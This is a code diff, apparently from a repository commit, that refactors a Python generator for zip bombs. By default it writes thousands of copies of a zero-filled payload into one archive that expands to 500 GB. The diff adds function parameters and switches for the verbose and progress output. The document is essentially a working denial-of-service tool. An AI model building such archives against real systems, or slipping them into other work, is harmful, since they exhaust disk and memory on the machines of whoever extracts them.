@@ -29,21 +29,30 @@ def get_bytes(amount_str):
29
29
except :
30
30
raise ValueError ("Format: <number> <unit>, e.g., 1 PB or 500 GB" )
31
31
32
- def build_zip_bomb ():
33
- target_input = input ("Bomb decompressed size: " ) or "500 GB"
34
- payload_input = input ("Payload file size: " ) or "1 MB"
35
- zip_name = input ("Output zip name: " ) or "bomb.zip"
36
- folder_name = input ("Bomb directory name: " ) or "bomb-dir"
32
+ def build_zip_bomb (
33
+ target_input = None ,
34
+ payload_input = None ,
35
+ zip_name = None ,
36
+ folder_name = None ,
37
+ verbose = True ,
38
+ show_progress = True
39
+ ):
40
+ target_input = target_input or input ("Bomb decompressed size: " ) or "500 GB"
41
+ payload_input = payload_input or input ("Payload file size: " ) or "1 MB"
42
+ zip_name = zip_name or input ("Output zip name: " ) or "bomb.zip"
43
+ folder_name = folder_name or input ("Bomb directory name: " ) or "bomb-dir"
37
44
38
45
PAYLOAD_NAME = "payload.txt"
39
46
DECOMPRESSED_TOTAL = get_bytes (target_input )
40
47
PAYLOAD_SIZE = get_bytes (payload_input )
41
48
REPEATS = DECOMPRESSED_TOTAL // PAYLOAD_SIZE
42
- print (f"\n Creating ZIP bomb:\n " )
43
- print (f" Payload size: { PAYLOAD_SIZE } bytes" )
44
- print (f" Total uncompressed: { DECOMPRESSED_TOTAL } bytes" )
45
- print (f" File count: { REPEATS } " )
46
- print (f" Output: { zip_name } \n " )
49
+
50
+ if verbose :
51
+ print (f"\n Creating ZIP bomb:\n " )
52
+ print (f" Payload size: { PAYLOAD_SIZE } bytes" )
53
+ print (f" Total uncompressed: { DECOMPRESSED_TOTAL } bytes" )
54
+ print (f" File count: { REPEATS } " )
55
+ print (f" Output: { zip_name } \n " )
47
56
48
57
with open (PAYLOAD_NAME , "wb" ) as f :
49
58
f .write (b'\0 ' * PAYLOAD_SIZE )
@@ -52,10 +61,13 @@ def build_zip_bomb():
52
61
for i in range (REPEATS ):
53
62
arcname = f"{ folder_name } /{ i } .txt"
54
63
zf .write (PAYLOAD_NAME , arcname )
55
- progress_bar (i + 1 , REPEATS )
64
+ if show_progress :
65
+ progress_bar (i + 1 , REPEATS )
56
66
57
67
os .remove (PAYLOAD_NAME )
58
- print (f"\n \n Created zip bomb: { zip_name } " )
68
+
69
+ if verbose :
70
+ print (f"\n \n Created zip bomb: { zip_name } " )
59
71
60
72
if __name__ == "__main__" :
61
73
main ()
0 commit comments